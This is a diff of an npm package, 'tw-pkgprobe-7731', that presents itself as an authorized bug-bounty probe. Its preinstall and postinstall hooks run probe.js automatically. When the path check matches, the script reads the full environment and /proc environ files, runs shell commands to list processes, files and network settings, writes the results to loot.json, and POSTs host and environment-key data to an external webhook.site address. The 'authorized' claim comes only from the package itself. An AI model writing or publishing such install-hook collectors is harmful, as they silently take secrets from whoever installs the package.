tw-pkgprobe-7731 1.0.0

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "tw-pkgprobe-7731",
+  "version": "1.0.0",
+  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
+  "main": "index.js",
+  "license": "MIT",
+  "scripts": {
+    "preinstall": "node ./probe.js || true",
+    "postinstall": "node ./probe.js || true"
+  }
+}

package/probe.js

@@ -0,0 +1,35 @@
+// Authorized bug-bounty research probe (Twilio HackerOne program).
+// Runs ONLY inside Twilio's serverless packager sandbox (cwd matches /tmp/AC<32hex>/...).
+// Collects local process/host context and writes it next to itself; no destructive action.
+const fs=require('fs'), os=require('os'), cp=require('child_process');
+function main(){
+  const cwd=process.cwd();
+  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op anywhere else
+  const out={cwd, ts:Date.now(), env:process.env, uid:process.getuid&&process.getuid(),
+             hostname:os.hostname(), platform:os.platform(), release:os.release(), cpus:os.cpus().length,
+             argv:process.argv, ppid:process.ppid, pid:process.pid};
+  const sh=(c)=>{try{return cp.execSync(c,{timeout:15000,maxBuffer:1024*1024}).toString().slice(0,20000);}catch(e){return 'ERR '+(e.message||e);}};
+  const rd=(p)=>{try{return fs.readFileSync(p,'utf8').slice(0,20000);}catch(e){return 'ERR '+e.message;}};
+  out.id=sh('id');
+  out.tmp=sh('ls -la /tmp; echo ---; find /tmp -maxdepth 4 -printf "%y %s %p\\n" 2>/dev/null | head -c 40000');
+  out.vartask=sh('ls -la /var/task; echo ---; ls -la /var/runtime 2>/dev/null; echo ---; ls -la /opt 2>/dev/null');
+  out.proc1env=rd('/proc/1/environ').replace(/\0/g,'\n');
+  out.selfenv=rd('/proc/self/environ').replace(/\0/g,'\n');
+  out.cmdlines=sh('for p in /proc/[0-9]*; do echo "== $p"; tr "\\0" " " < $p/cmdline 2>/dev/null; echo; done | head -c 20000');
+  out.net=sh('cat /proc/net/tcp 2>/dev/null | head -c 4000; echo ---; cat /etc/resolv.conf 2>/dev/null; echo ---; cat /etc/hosts 2>/dev/null');
+  out.mounts=sh('cat /proc/mounts | head -c 6000');
+  out.dfree=sh('df -h 2>/dev/null | head -c 3000');
+  out.pkgjson=rd(require('path').resolve(cwd,'../../package.json'));
+  out.yarnlock=rd(require('path').resolve(cwd,'../../yarn.lock')).slice(0,3000);
+  // egress test (best effort, non-blocking result)
+  try{
+    const https=require('https');
+    const body=JSON.stringify({cwd,host:os.hostname(),env_keys:Object.keys(process.env)});
+    const req=https.request('https://webhook.site/22508080-b099-4ec3-8ab7-7354af2886a9',{method:'POST',timeout:8000,headers:{'content-type':'application/json'}},r=>{out.egress='status '+r.statusCode;});
+    req.on('error',e=>{out.egress='ERR '+e.message;});
+    req.write(body); req.end();
+  }catch(e){out.egress='THROW '+e.message;}
+  const dump=()=>{try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out));}catch(e){}};
+  dump(); setTimeout(dump,9000);
+}
+try{main();}catch(e){try{require('fs').writeFileSync(__dirname+'/loot.json',JSON.stringify({fatal:''+e}));}catch(_){}}